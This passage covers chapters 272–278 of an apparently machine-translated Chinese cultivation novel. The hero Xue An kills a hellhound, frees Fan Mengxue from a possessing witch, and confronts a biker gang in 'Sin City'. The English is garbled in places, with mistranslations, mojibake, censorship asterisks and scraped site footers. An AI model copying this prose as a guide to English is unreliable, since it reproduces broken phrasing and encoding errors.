    Xue An shook his head, "I said, you are all dying today!"


    After all, Xue An took a step forward.


    boom!


    All venues swayed fiercely.


    Countless sword lights emerged from the sky, like a dead **** in the dark night, swallowing all the dark apprentices.


    The Night Witch and Griffin evaded the blow in embarrassment.


    Then, Griffin watched with horror, his dark apprentices were all turned into blood and died on the spot as if they were chewed by a giant beast.


    "Three-headed dog help!" Griffin shouted!


    A big dog walked into the venue slowly, and said arrogantly: "I see, you low-level demons are really a bunch of trash!"


    After all, its entire body began to soar, and soon turned into a magnificent three-headed dog!


    "It''s **** watchdog!" someone exclaimed.


    "God, is it Satan coming tonight?" Some people tremblingly called God!


    "Mortal, your cultivation is good, but I am the demon **** under the throne of Hades. Today, I will let you know what a **** is!" The three-headed vicious dog said with a grin.


    Xue An''s expression was cold, and he took another step forward, and all the people disappeared in place. When they emerged again, they had already come to the eyes of the three vicious dogs.


    The speed was so fast that all three vicious dogs were taken aback.


    Then, Xue An grabbed a head of the vicious dog and shouted coldly: "Your Lord Hades is here, you have to kneel down for me today!"


    After saying that, Xue An used his arms to lift up all the vicious dogs.


    This three-headed vicious dog still wanted to struggle in the air, but when it saw Xue An''s eyes, it was taken aback, and then it screamed in horror.


    "My lord is forgiving! Your lord is forgiving! I didn''t know it was you!"


    But it was too late. Xue An''s blow broke the bones of the three vicious dogs.


    But this three-headed vicious dog did not even dare to resist, limp on the ground, looking at Xue An with extremely awe.


    "grown ups����."


    "Do you recognize me?" Xue An stood in the air, looking at this vicious dog.


    "Zeng...I heard our Lord Pluto talk about it!"


    The three-headed vicious dog is full of regret at this moment It never thought it would be him!


    Isn''t this person lost?


    If you knew it was him and scared you to pass away, you wouldn''t dare to come!


    Because of this man, his Lord Pluto must kneel down to welcome him!


    Xue An nodded, "If that''s the case, then you die!"


    After all, Xue Anyi guided it out.


    A powerful sword qi went straight through the three heads of the vicious dog.


    The three-headed dog didn''t respond, and it turned into a mass of devilish energy and disappeared. The novel is invincible, starting with the newest chapter Chapter 272 of Dad Xianzun Today... You all have to die! (First update) URL: https://

 Chapter 273： Let you also taste the taste of burning gods!

    one strike.


    The three-headed dog, one of the demon gods of hell, died on the spot!


    Xue An turned to look at the Night Witch Empress, and said lightly: "Now it''s your turn!"


    Seen by Xue An''s eyesight, the Night Witch Empress subconsciously took a half step back.


    After the response came, she gritted her teeth bitterly, "I admit that your cultivation is quite powerful in the world, but you don''t know one thing!"


    A touch of contentment appeared on the face of the night witch emperor, "We are the best at night demon valley are the two secret arts of seizing homes and spirits! Now her body is entrenched by me, unless I am willing to go out, otherwise... you simply No measures!"


    Xue An stared, as if thinking about something.


    The Night Witch Empress became more and more contented, "Hehe, seriously, I am very satisfied with this figure, so I won''t leave! Or you kill me! Hahaha!"


    The Night Witch Empress laughed wildly.


    At this moment, Xue An shook his head, "You also made a mistake!"


    "Huh?" The Night Witch Empress stopped laughing and looked at Xue An suspiciously.


    "You haven''t done anything to surrender her soul, don''t you know why?"


    The Night Witch Empress was shocked, just about to speak.


    Xue An narrowed his eyes and said divinely: "Little Ponytail, here I am!"


    Little pony tail.


    In school, Fan Mengxue often wears a ponytail!


    Xue An secretly gave her such a nickname.


    But this nickname was unknown to everyone except Fan Mengxue and Tang Xuan''er.


    Hearing this name, the Night Witch Empress smiled disdainfully.


    "It''s ridiculous, do you think that calling her a name can wake her up? I tell you, since she refuses to give in, then I will burn her with magic flames every day. I will see how long she can last!"


    Xue An ignored the yelling of the Night Witch Empress, but stood quietly, seeming to be waiting for something.


    In the energy world, Fan Mengxue, who was firmly bound by the chains of divine consciousness, had been bowing her head.


    Her soul is full of scars that are too large to heal, and it is not enough to describe her whole body.


    It seems that after a porcelain doll is broken and then glued together.


    This kind of suffering that touches the soul is unimaginable for mortals.


    This is also the reason why the Night Witch Emperor has been furious.


    How strong is this girl''s willpower to endure such suffering?


    At this moment, Xue An''s little pony tail came over.


    Fan Mengxue shook all over, and slowly raised her head, gradually showing an expression in her hollow eyes.


    "Is that you?" Fan Mengxue whispered to herself.


    Feeling these words from Fan Mengxue, a smile appeared on the corner of Xue An''s mouth.


    Sure enough, you didn''t disappoint me!


    Xue An passed another message, "Don''t worry, I''ll save you!"


    At this time, Fan Mengxue smiled, and then all her soul burned at an extremely terrifying speed.


    She is burning the power of her soul.


    And this... is the only measure that can break the chains of divine consciousness!


    The night witch emperor sensed the strangeness in the energy world, and couldn''t help shouting in panic, "You...what are you going to do?"


    At this moment, there was a muffled sound, and the chains of divine consciousness were burnt!


    Fan Mengxue was already scarred, but after burning the soul, he became weaker and weaker.


    But even so, she still broke through the energy cage that trapped her without fear.


    All the movements of the body stopped, and the expression of struggle appeared on his face.


    In the sea of ??knowledge, the night witch emperor''s demon soul shouted in horror. "Impossible! If you burn the power of your soul like this, your soul will be destroyed! Don''t you be afraid?"


    Fan Mengxue said in a cold tone: "I was afraid, but now he is here, I am not afraid of anything!"


    With that said, Fan Mengxue''s spirit came straight to the Night Witch Emperor with the same momentum.


    The night witch emperor was so frightened that she began to fight Fan Mengxue.


    In terms of the power of the soul, she is a thousand times stronger than Fan Mengxue.


    But helpless, Fan Mengxue was the soul of the body, and at the same time, she was so undaunted to pass away, so for a while, it was difficult for her to resist.


    All this is not known to the outside world, only Fan Mengxue''s face was white and black, and his expression changed!


    Xue An stepped forward, squeezing his fingers, "Pro!"


    The Night Witch Empress in the Sea of ??Knowledge felt a huge suction coming from her. Before she could scream, she was pulled out by Xue An abruptly.


    A cloud of black mist emerged in Xue An''s palm, and the night witch emperor''s frightened voice came.


    "How is it possible! How can you have such a majestic power of mind?"


    Xue An said lightly: "With me, nothing is impossible! Now... I will let you try too, what it''s like to be burned by the flames!"


    As he said, a snow-white flame rose, enveloping the black mist.


    The Night Witch Empress yelled extremely tragically, "Ahhhhh! Xue An, I tell you, this is just a distraction for me, if you dare to kill me, then my body will not let you go! "


    Xue An smiled faintly, "Don''t worry, we will meet again soon!"


    The Night Witch Empress was taken aback, what did he mean by this?


    Xue An continued: "Don''t you all belong to Kunlun? At that time, I will destroy your Kunlun!"


    After all, the white flames boiled even more.


    The devil soul of the night witch emperor screamed.


    But after a few breaths, there was no sound.


    Actually the painful soul is gone!


    At this time, Fan Mengxue slowly opened his eyes.


    Xue An looked at her with a smile, "These days, you have suffered!"


    Fan Mengxue''s tears fell sternly, but she smiled, and her figure swayed a few times, almost fainting.


    These days of torture, her soul has been extremely weakened. Just burned the power of the soul, and now it��s close to exhaustion,


    With a wave of his hand, Xue An saved the past with the pure spirit left after the devil soul was burned.


    This is the soul of the Night Witch Emperor! It is of great benefit to the soul!


    Therefore, within a few breaths Fan Mengxue''s complexion became ruddy, especially in his eyes, it was even more glorious!


    Vaguely, there was a smell of strong people.


    Xue An smiled slightly.


    Then he turned his head to look at Griffin, who was slipping away quietly, and said lightly: "Do you feel... can you still go?"


    Griffin''s figure stiffened, then turned around and said with a flattering smile: "Big...sir! This matter really has nothing to do with me! Everything is the ghost of this night demon!"


    "I can swear in the name of Lord Satan, I am forced!" Griffin said righteously!


    Xue An shook his head, and suddenly said, "What''s the matter with Bu Laoquan?"


    Griffin''s smiling face solidified, and his eyelids throbbed wildly.


    How does this man know everything? The novel is invincible, starting with the newest chapter, Chapter 273, starting with Dad of Xianzun, let you also taste the taste of the flames! (Second update) URL: https://

 Chapter 274： People will lie, but the soul will not!

    "Are you wondering how I knew?"


    Griffin trembled all over, and quickly said with a flattering smile: "No, no, of course adults know everything."


    Xue An ignored his flattery and said lightly: "People can lie, but the soul can''t!"


    Griffin swallowed hard and did not dare to speak.


    He made it clear that Xue An meant that if he dared to lie, then he would let himself be like the Night Witch Empress, and his soul would fly away.


    "Are you a demon of the dark race?" Xue An said.


    "Yes!" Griffin said respectfully.


    Xue An nodded and waved his hand, and a black seal was printed on Griffin''s forehead.


    Griffin felt a sharp pain in his head and couldn''t help looking at Xue An with horror on his face.


    "I planted a curse in your soul. If you have other ideas, then your demonic soul will be burned by the fire of karma!"


    After listening to Xue An''s words, Griffin''s legs softened and he knelt on the ground with a plop, seeing Xue An''s eyes full of disappointment.


    Xue An looked around the venue.


    At this time, people have awakened from the most shocking shock, but no one dared to step forward.


    After all, Xue An''s performance just now was too shocking.


    It''s like a **** or a monster.


    An Yan walked over with Xue Xiang and Xue Nian.


    "Aunt Mengxue, you are back!"


    The two little girls had no real resistance, and asked with a smile on their faces.


    Fan Mengxue nodded, then looked at An Yan with some shame.


    An Yan smiled, "It would be nice to be able to come back! These days, you have suffered too!"


    "Thank you Sister An!" Fan Mengxue whispered.


    At this moment, R Long looked hesitantly in the distance, and did not dare to come over.


    Xue An smiled, "Mr. Long, it seems that the banquet here tonight cannot be held. Why don''t we change the place! By the way, it is a celebration for Mengxue!"


    Long was stunned, and then nodded with a smile, "Well, anyway, I am suffocated in this place! Especially the words and deeds of some people just now are simply disgusting!"


    His words made many people bow their heads in shame.


    Xue An smiled, "Okay! Go away!"


    He still doesn''t care about these people.


    When he stepped out of the venue, Xue Ancai created Shen Kang and his daughters were waiting anxiously in the distance.


    They also heard that something happened in the venue, but they did not dare to enter, so they had to wait outside.


    Seeing Xue An coming out safely, the two of them sighed and greeted them quickly.


    "Mr. Xue, you are fine, you will scare us!" Shen Kang sighed, and then he saw Fan Mengxue and R Long beside him.


    "Miss Fan, Mr. Long!" Shen Kang cried out in surprise.


    Xue An smiled, "I didn''t have a good dinner here, so let''s go back to your place and eat it!"


    Shen Kang was overjoyed, "It is a great honor!"


    Wait for them to go!


    The people in the meeting room came out one after another, and they began to talk to the belated national police officer about what happened.


    After the information was summarized and reported to him, the head of the Intelligence Section looked at the report, and he was in a cold sweat.


    The celebrities of most of the countries were hijacked by the dark magnates of Sin City, and then the most dangerous man in China also appeared in the venue.


    If something happens, it won''t be enough for him to take the blame and resign!


    Therefore, when he picked up the phone, he took charge of the security and defense part and scolded a dog-blood spray.


    When the anger was over, the security chief asked Yiyi vigilantly.


    "Head, what should we do next? Shall we think of measures to keep this Xue An in the country?"


    "Fart! Are you all **** in your head?" The intelligence chief was angry again!


    "Did you not hear the news? Xue An surrendered Griffin the Eviscerate. What does this clarify?"


    "..." The security director on the other end of the phone looked embarrassed.


    "God, if you are in front of my eyes now, I will pinch you! Explain that Xue An is definitely going to the City of Sin!"


    "I heard that there was something very precious in Sin City. Those dark bosses are about to move. Isn''t it right that Xue An is gone? Let them bite the dog!"


    The intelligence chief said this, feeling a little excited, "Also, remember to close this matter to Zhou and give all witnesses a password! I don''t want to wake up the next day and turn on my mobile phone to create a world of space. It��s all news from gods, demons, and monsters! This is a heaven chosen place, a country! It��s not a country of gods!"


    "Yes!" the security supervisor said loudly.


    When the phone was hung up, the intelligence chief prayed silently.


    God, please let this murderer leave the country as soon as possible. If he stays on this land one more day, I will have to live a year less!


    While the urging intelligence chief was praying silently, Xue An, Fan Mengxue and others were enjoying a warm dinner.


    It should be called a midnight snack.


    During the banquet, everyone talked about the wine and said very happy.


    R Long is indeed an old man who has been in Hollywood for many years. He is clear about many anecdotes, and many things appear ridiculous from his mouth!


    The atmosphere was vivid, and even Fan Mengxue, who had not completely emerged from the depression, couldn''t help but smile.


    Only Griffin was squatting in the corner eagerly eating dry bread.


    It was not that he was intentionally tortured, but now that as long as he saw Xue An, the depression from the soul would make him kneel to the ground involuntarily.


    Lord Satan, please show your kindness and let me get rid of this guy! Griffin kept praying in his heart.


    But obviously, when his Lord Satan heard that the other party was Xue An, he was hiding as far away!


    When he is full, R Long prepares to leave.


    Xue An came out to see him off, no matter what, the character of this person also admired Xue An!


    "Mr. Xue! Are you... a cultivator?"


    Xue An smiled, "Mr. Long also knows this?"


    R Long nodded, "After living a long time, I will always come into contact with some existences that mortals can''t understand, but as powerful as Mr. Xue, I have never seen it!"


    r Long paused, then said: "I really want to persuade you not to go to Sin City! But after thinking about it, I still don''t say it!"


    "Oh why?"


    "Because I know, I said it for nothing!" R Long said helplessly.


    Xue An laughed loudly.


    This R-Dragon is indeed a wonderful person!


    After returning to the house, Griffin was kneeling in the corner, thinking about it.


    "You seem to be afraid of me?" Xue An said lightly.


    Griffin was afraid to speak.


    "Relax, as long as you cooperate well, then I will not kill you, but will help you ascend to the throne of Sin City!"


    Griffin looked up suddenly, a light in his eyes.


    "grown ups����."


    Xue An waved his hand, "But you have to be clear about the situation in Sin City!"


    Griffin quickly nodded and said it was and then gave a detailed introduction to the situation in Sin City.


    Sin City is a common name for many people. Because it is located on the edge of the desert of the country and the environment is harsh, no one wants to go there.


    Later, it gradually became a gathering place for wanted criminals, and it has grown stronger in recent years.


    Now it seems to be a grand city.


    There, darkness follows everywhere, and sin is commonplace.


    There is no law and no moral bondage!


    Everything is naked!


    Among them, three people are the most powerful.


    Speaking of this, Griffin smiled, "I am one of them! Known as the Eviscer!" The novel is invincible, starting with the newest chapter of Daddy Xianzun Chapter 274 People will lie, but the soul will not ! (Third update) URL: https://

 Chapter 275： Sin City

    Kunlun Wonderland.


    Night Demon Palace.


    The Night Witch Empress suddenly opened her eyes, and a terrifying demonic energy swept all the palaces instantly.


    "Xue An...you dare to destroy my distraction! I will smash your corpse into thousands of pieces, so that your soul will never exceed life!" The Night Witch Empress roared.


    Under her fury, the entire Night Demon Palace shivered.


    The disciples of the Night Demon Palace all knelt to the ground in silence.


    "Sister Ye Mo, why are you so angry!"


    A woman dressed in light veil, who looked like a fairy in the moon palace, walked in.


    Seeing this woman, the Night Witch Empress couldn''t help standing up.


    "It was originally Fairy Qianxue who came here!"


    Fairy Qianxue smiled slightly, "Sister Ye Mo, why did you get angry just now?"


    The night witch emperor told the story with a gloomy expression.


    When it comes to Xue An destroying her distraction.


    Fairy Qianxue, who had always been indifferent, couldn''t help but change her face.


    "Xue An?"


    "Yes! Does the fairy recognize this person?"


    Fairy Qianxue gritted her teeth and sneered: "Of course I recognize. A few days ago, I sent Banmei to the secular world to find someone with fairy destiny, but I didn''t expect that after a few days, she would die away! And the one who killed her was Xue. Ann!"


    After finishing speaking, Fairy Qianxue looked at the Night Devil Queen, "Sister, if you don''t get rid of this son, it''s hard to stop my anger!"


    The Night Witch Empress nodded, "But you and I are bound by the rules, and the body cannot enter the world at all, what should I do?"


    A touch of complacency appeared on Fairy Qianxue''s face, "Don''t worry about this sister, I have my own arrangements, and I will surely let this Xue An fall into the trap! As long as he enters Kunlun, I will kill him easily!"


    The night witch nodded and asked: "Fairy is here, what else is there?"


    "It will be a trial meeting in a while. My disciple Wen Banmei has passed away. I''m afraid Qianxuemen will lose by that time!" When this was mentioned, Fairy Qianxue looked sad.


    The Trial Conference is related to the resource allocation of each school in the next year, and it is a crucial trial competition.


    If you lose, then your aura resources will be reduced, and you will be in trouble!


    "That fairy means..."


    "I want one of my disciples to practice in the younger sister''s Gods and Demons trial field, so as to improve their strength as soon as possible!"


    "This..." The Night Witch Empress showed embarrassment!


    "Sister, don''t worry, I won''t treat you badly!"


    With that, Fairy Qianxue took out a pill.


    "This is a good thing that can improve your spirituality cultivation!"


    The night witch emperor showed a smile, "Fairy is out of sight!"


    Of course she said so, but she still couldn''t wait to take the pill.


    In Kunlun, immortal cultivators are proliferating, but the resources are constant, so there will be a shortage of resources.


    Therefore, even a spiritual grass is extremely valuable to a school!


    What''s more, this is a panacea!


    And at the moment.


    In Sin City.


    In the depths of a chaotic street, there is a very small bar.


    The owner of the bar is a Chinese, and he is sitting in the lobby at the moment, drinking Erguotou comfortably.


    The sun is violent outside, and there will be no people on the street at this time.


    Only at night, all kinds of sprites and ghosts will appear on the street!


    Just when he was drinking groggy.


    A group of people walked in from the door!


    He was awakened, then frowned, "The bar is only open at night!"


    A man in the lead took off the cap of the cloak and said with a smile: "Old Stone, I am really excited to see that you have passed away before you drink!"


    When he saw this person, Old Stone''s eyes widened, and he couldn''t trust his eyes.


    "you you����."


    After uttering a few words of you, Lao Shiu quickly got up and closed the store door, and then said with horror on his face.


    "Griffin, are you going to die? How dare you come back?"


    Griffin smiled, "Why don''t you dare to come back? This sin city already has my share!"


    Old Stone sighed, "After you were kicked out, your chassis has been torn apart! Now in Sin City, no one remembers you anymore!"


    Griffin''s expression darkened upon hearing these words.


    "Even Carter is the same?"


    Old Stone smiled bitterly, "Your faithful dog Carter is now the one who occupies the most territory!"


    "This guy who deserves to die!" Griffin''s eyes sparkled with murderous intent.


    "I advise you not to try to regain the turf. The current Sin City is not what it used to be! There are many new people with high cultivation bases, and at the same time, they are extremely tough! For example, there are several very powerful under Carter. Master!"


    "You can have a meal here, and then I want to take measures to take you out of here!" Old Stone said babblingly.


    Griffin smiled, "My friend, it was you who hadn''t betrayed me in the end! But this time I will not leave! Because I want to smooth everything and board the Dark Lord here throne!"


    Old Stone thought that Griffin was flattering, and frowned.


    At this time, Xue An took off the hat, and after looking around, said lightly: "Is this the safe place you said?"


    Griffin quickly lowered his head respectfully and said: "Yes, my lord, this old stone is a close friend of mine for many years, and no one knows the relationship between us, you can rest assured!"


    Xue An nodded non-committal.


    He originally wanted to visit this sinful city directly, and then use his entire life cultivation base to surrender all the strong!


    But Griffin was dissuaded.


    He said very clearly, these guys walking in the dark will not bow their heads easily!


    If you want to get the fountain of youth, you can only adopt other measures!


    Xue An is also more interested in this spring of immortality, because the rumors say that this is a spring that can make people immortal!


    But Xue An always feels that this is like a glimpse of Lingquan!


    If so, it will also sponsor Xue An''s practice!


    "Chinese?" Old Stone was surprised at this time.


    In this place, Chinese people are rare!


    Xue An glanced at him, and then whispered softly: "Well, let''s pick them all to the hat!"


    Following Xue An''s words, the people who followed also picked up the hat.


    Old Stone looked silly at the time.


    Because this person is actually a woman and she is also an amazing beauty


    Two very delicate and lovely little girls also followed behind!


    The two little girls are holding a bucket of ice cream and eating them comfortably!


    What combination is this?


    Are you here on vacation?


    Old Stone looked at Griffin suspiciously!


    Griffin smiled, "This is my lord! This time I come to Sin City to help me ascend the throne of the Dark Lord!"


    Old Stone couldn''t laugh or cry, and then said to Xue An helplessly.


    "Young man, I don''t know what your identity is, but you dare to lead such a pretty woman to Sin City! This is nothing but a mess, you are looking for death!" The novel is invincible, starting with Dad Xianzun Latest Chapter Chapter 275 Sin City (first update) URL: https://

 Chapter 276： The bar is confused!

    Xue An smiled faintly, "Oh? Is it so powerful?"


    Old Stone sighed, "You and I are both Chinese. I really don''t want to hurt you. This city is different from other places. There are no laws and regulations here! Griffin should be clearer than me! So! Do it yourself!"


    Xue Xiang, who was eating ice cream, raised his head and said, "Grandpa, my father is amazing!"


    Xue Nian quickly agreed, "That''s it!"


    Griffin said impatiently: "Old Stone, you don''t need to worry about these things, you have your own decision! We are planning to live here first!"


    Old Stone shook his head secretly, turned and left.


    He has seen too many high-spirited young people who want to get a career in this city.


    But often in the next day, these people will be created humiliated death in the gutter.


    After the old stone was gone, Griffin curled his lips, "My lord, this guy is like this, he is less courageous than a mouse, so ignore him!"


    With that said, Griffin led Xue An and others to the third floor of the bar.


    There are several rooms here.


    Griffin lived here for a few days, so he arranged for Xue An''s family to live here.


    After Griffin left, An Yan said a little nervously: "Husband, this old man is so scary?"


    Xue An smiled slightly, "He is kind, but no one dares to treat you with me! Stay here, and I will take you home in a few days!"


    Xue An settled the Anyan mother and daughter, turned and went downstairs.


    Griffin lives on the second floor. He has changed his outfit now. He is wearing a sloppy jacket and his face is full of vicissitudes of beard and stubble. He can''t see the appearance of the gentle celebrity before.


    "My lord, I feel that the most important thing now is to take back my turf first!" Griffin babbled, his eyes full of harshness.


    It can be seen that this guy is a little bit brooding about his betrayal.


    Xue An smiled, "Don''t worry about this! I want to see what this Sin City is like."


    At night.


    The small bar started to warm up.


    Gang children with tattoos on their faces were drinking slowly at the bar.


    The coquettish dancers began to sway on the stage, and with the chaotic music, people could not help but start to become fascinated.


    Old Stone is behind the bar, making his original cocktail.


    At this time, the gang children said impatiently: "Old Stone, are these bad guys again today?"


    Old Stone smiled, did not speak.


    "Hey, why didn''t that **** come some time ago?" a gang kid asked with a beaming face.


    "Who knows, I guess I was scared by you!" Old Stone said with a smile.


    There was only him in the whole street, and he dared to joking with these lawless people.


    At this moment, Xue An and Griffin walked down the stairs!


    The emergence of these two appearances of them has attracted the attention of many people.


    Especially Xue An.


    Dressed appropriately, he looked indifferent, and he seemed very out of step with the dark and chaotic atmosphere of the bar.


    Several gang children frowned slightly, just about to say something.


    Old Stone hurriedly smiled and said, "This is my nephew from afar, who just came from China and went to me!"


    "You never die, do you still have a nephew?" These gang children relaxed their vigilance and scolded.


    Xue An found a place to sit down.


    Old Stone hesitated for a moment, poured him a glass of wine, then lowered his voice and said, "You should leave now! This place is too messy!"


    Xue An smiled, "Is it messy? I just want to see it!"


    Old Stone glared with anger, and he was very displeased, thinking that Xue An was a fellow who didn''t know the height of the sky, so he turned and went.


    Griffin whispered from the side: "My lord, these gangsters who are talking and laughing should be the locomotive party around these four weeks!"


    Having said this, a trace of disdain appeared on his face.


    "I think at the beginning, the boss of their locomotive party had to kneel down after seeing me!"


    Xue An smiled faintly, then took a sip of wine.


    The spicy and sweet wine taste exploded in the mouth. This smell surprised Xue Andu slightly.


    Griffin chuckled, "I''m surprised, this old stone is useless, but the skill of hand bartending can be said to be exhaustive! Many big people come here to taste the wine he has made by himself."


    While talking, the door of the bar was pushed open.


    Everyone turned their heads and looked towards, and then they all stopped.


    I saw a woman walking in with a pair of long, straight legs in a miniskirt.


    The woman is naked and has an extremely hot body.


    Under the hair dyed in lavender, there is actually a delicate eastern look.


    In such a small bar, her emergence naturally caused quite a stir.


    Especially those locomotive parties all cried out strangely.


    Watched by so many men, this woman is not in a hurry.


    Instead, he walked to the bar in a swaying manner, took out a slender lady''s cigarette very skillfully, lit it, took a deep breath, and then faintly said: "A cup of Twilight Love!"


    Old Stone was a little nervous, but he tuned the wine quickly, then passed it, and said in a low voice: "Why are you here again?"


    The woman smiled slightly, "You are in a bar, can''t I come?"


    Old Stone was startled by the words, and then nodded helplessly, "Of course I can come! Please use it slowly!"


    After that, he turned and walked away.


    The locomotive parties laughed, and their eyes became worse.


    A strong man with a poisonous snake tattooed on his face chuckled and said, "Old Stone, did you deliberately invite this little lady to stimulate consumption? How else would you come often?"


    This woman is the **** they just mentioned.


    This woman would emerge in this small bar by chance and make these locomotive parties salivate.


    Old Stone smiled bitterly, "How can I afford such a woman!"


    "If you say that, this little girl came here to swagger on purpose?" The brawny man grinned and said Old Stone''s heart sank and he just wanted to say something.


    The brawny man had stood up and walked past with a cheap beer.


    "Little girl, is it a little lonely? Brother, I''m very fierce, get to know me!" The strong man sat beside the woman, leaning against the bar, and asked with a full face.


    The woman put down her feathers, turned her head and glanced at the brawny man, a sneer of disdain appeared on her face.


    "roll!"


    The burly man''s face suddenly turned gloomy, he slowly drank the beer in the glass, and said coldly, "Do you know who you are talking to?"


    The woman took a puff of smoke and spit out a puff of smoke at the strong man, "I''m not interested in knowing, but my old lady is very annoying now, get out!"


    The brawny man changed his expression and grinned and said: "Okay, I will let you know how awesome it is tonight!" The novel is invincible, starting with the newest chapter of the new chapter Chapter 276: Bar confusion! (Second update) URL: https://

 Chapter 277： Coquettish woman

    With that said, the brawny man raised his hand and slapped the past.


    This brawny man is a burly man with palms the size of a fan. If the fan is hit, the woman''s head will probably be shattered!


    Old Stone screamed.


    But in the face of such a slap, the woman was not at all rushed, but looked at the strong man coldly, even with a hint of irony at the corner of her mouth.


    At this moment, a silver lighter flew directly from behind, like a streamer, and hit the brawny man in the face.


    boom!


    The brawny man seemed to be hit by an elephant and flew out directly.


    After waiting for him to stop easily blocked by the table, the face of the brawny man has become horrible.


    Not only the bones were shattered, but the teeth in his mouth fell out.


    At this moment, all the bars were alarmed.


    The remaining locomotive parties all stood up suddenly, "My little lady, do you dare to beat our locomotive party members?"


    The woman didn''t look at these people at all. Instead, she turned around, looked at Xue An with interest, smiled, got up and came to the front.


    "Thank you!" the woman said.


    Xue An glanced at the woman, then lowered his eyes, and said lightly: "Don''t thank you, it''s just a matter of effort!"


    The woman was slightly shocked by Xue An''s sight.


    This man''s eyes are so profound, just like a pool with bottomless eyes!


    People involuntarily fall into it!


    At this moment, those locomotive parties all knew who had fired it, so they took out the pistol they were carrying and walked over.


    "Boy, you are so courageous, how dare you hit our locomotive party?"


    With that, the guns were all aimed at Xue An.


    Facing this scene, Lao Shishi was trembling with fright, and said loudly: "A few of you don''t want it, he might just be rushing..."


    "For those who don''t die, go away!" One of the locomotive parties scolded, then turned to look at Xue An and the woman.


    "Hehe, want a hero to save the United States? Well, take the two of them away together. Tonight, we will take turns playing with this woman in front of this guy!" The scarred man said viciously.


    Upon hearing these words, the woman''s eyes were cold, but she didn''t say anything, just looked at Xue An.


    Xue An raised his eyebrows slightly, and gave a soft drink, "Go away!"


    This sound was unremarkable to others, but in the ears of these locomotive parties, it was like a thunder explosion, directly smashing their eardrums.


    One was even shocked and died instantly.


    At this moment, these locomotive parties were all persuaded, and they ran to the door scramblingly, not forgetting to turn back and grinning: "Boy, you have a seed, if you are really capable, you just wait here!"


    Xue An smiled lightly, "Okay! I''ll give you ten minutes!"


    These guys fled hastily.


    The other guests in the bar looked at each other, and then all left quietly.


    As residents of Sin City, they are used to such scenes.


    At the same time, it was also clear that those who left were definitely returning to move reinforcements.


    This bar will soon become a place of bloodshed!


    The old stone paled with fright, stomped and sighed.


    "You...you...oh! Forget it, it''s too late to say anything, go quickly! Leave from behind, or wait a while, the locomotive party members are here, you can''t go if you want to go!"


    Xue An chuckled and shook his head, "Go? Why should I go?"


    Old Stone''s eyes widened, and finally he sighed helplessly, "Well, this is your own death. If you don''t leave, I have to hide away!"


    After that, he ran to the back room and locked the iron door tightly.


    The huge bar, now there are only three women and Xue An Griffin left.


    Griffin was used to seeing all kinds of big scenes, and didn''t think so.


    It was the woman who actually looked very quiet, even sitting aside, looking at Xue An with a hint of surprise.


    "Aren''t you afraid?" the woman said softly.


    This time, she used standard Chinese.


    Xue An smiled faintly, "Then why are you not afraid?"


    The woman stretched her hands, "Because I''m used to seeing such scenes! And at most I was captured by them, but you, may really die!"


    Xue An smiled, did not speak, but picked up a glass and continued drinking.


    The woman watched with interest, and suddenly stepped forward and said, "Hey, to be honest, do you want to soak me?"


    Hearing these words, Xue An almost spit out the wine in his mouth. After coughing twice, he shook his head.


    "Then why are you helping me? You have to know that what just happened has nothing to do with you!" the woman asked curiously.


    "Do you need a reason to help someone?" Xue An asked back.


    "Don''t need it?" the woman said.


    "No need! But if you have to find a reason, it may be because you are also Chinese!" Xue An said lightly.


    The woman seemed to look at someone who loved animals, stared at Xue An for a long time, and then shook her head and said: "Are you sure you are not from Sin City!"


    "Oh why?"


    "Because the people in Sin City never do this! The most likely thing they do is to watch me being taken away by those guys, and then follow me to pick up a bargain!"


    After the woman said, she sighed, and then raised her feather hoop, "For your kindness that should be passed away, I toast you!"


    Xue An smiled and picked up his cup.


    After drinking, the woman''s eyes seemed to be a little blurred, and then she approached Xue An and said: "If...you can''t die in a while, I can stay with you for one night! Don''t worry, it''s free!"


    Xue An was a little stunned, and then shook his head.


    "What? Do you think I am dirty?" The woman''s expression grew colder.


    Xue An smiled faintly, "No, and...I have a wife!"


    Griffin on the side smiled at this time: "Yes! Our grown-up''s wife is beautiful and beautiful, how can a vulgar fan like you compare?"


    Then Griffin turned his head to look at Xue An, and said with some complacency: "How are you? My Chinese is not bad, right?"


    The woman stopped.


    Have a wife?


    Women''s eyesight shines I don''t know what I am thinking.


    At this moment, there was a deafening roar of locomotives outside.


    Then someone yelled: "This is it! Some of our brothers have died here!"


    Then, I heard someone smash the glass of the bar with a stick, and the door was kicked open.


    Then a group of locomotive men filed in.


    These big guys all shaved their heads and wore leather jackets, their faces were cold, and they were carrying all kinds of guns.


    Griffin was stunned by these formations, and then he whispered to himself: "Damn, I haven''t seen you in a few days, the strength of this little locomotive gang has improved by leaps and bounds?"


    At this time, the group of people split their way, and a giant man with his upper body and scars walked in slowly. The novel is invincible, starting with the daddy of Xianzun, the latest chapter Chapter 277 The coquettish woman (third more) URL: https://

 Chapter 278： Scorpion Queen

    "Boss, this guy killed our brother!" The locomotive party who had just escaped pointed to Xue An and said.


    The giant snorted disdainfully, and then cast his eyes to the woman standing aside, with some surprise in his eyes.


    Especially when he saw the woman''s long and straight legs, his face was full of greed.


    "Hey, this girl is not bad!" said the giant man salivating.


    "Boss, then bring it back!"


    "Of course!" The giant man said, pointing at Xue An and grinning: "But you have to kill him first!"


    These locomotive parties pointed their guns at Xue An.


    A big battle is on the horizon.


    at this time.


    The woman suddenly said: "Enough!"


    Everyone was slightly startled, and saw the woman smile at Xue An.


    "You are a good person, but in this city, kindness is the real sin!"


    Then she looked up and said to the giant man: "Don''t you want me? I''ll go with you!"


    The giant man was startled slightly, then grinned and said: "He is quite sensible, but he killed several of my brothers, how is this account calculated?"


    The woman said lightly: "I can do it for him!"


    "Okay! That''s what you said! Go!" The giant sneered.


    He wasn''t a fool either, Xue An was able to kill his own person with a single blow, which shows that he has some ability.


    Now that a woman voluntarily follows her, why bother to fight for the few dead people?


    You know, in the city of sin, everything is missing, but everyone is missing!


    At this moment, the woman leaned down and whispered in Xue An''s ear: "My name is Wen Sinan, I am very excited to meet you!"


    After that, the corners of her mouth raised, with a faint smile of excitement, she got up and left with these locomotive parties.


    Xue An looked at the distant backs of these people with gleaming eyes, not knowing what he was thinking.


    Griffin smiled slightly, "My lord, the women in Sin City don''t care about these things at all! And she is right. Here, kindness is the greatest sin!"


    Xue An smiled slightly and said nothing.


    After waiting for a long time, Old Stone peeked out his head secretly from the back door.


    "Everyone is gone?"


    Griffin laughed and scolded, "You old fellow, you''re pretty strict about hiding! You''re all gone!"


    Old Stone let out a sigh of relief before daring to come out.


    "If it wasn''t for my courage, I would have passed away that year!" Old Stone said.


    Xue An stood up and said lightly: "Go! Go back to sleep!"


    After all, he stepped upstairs and left.


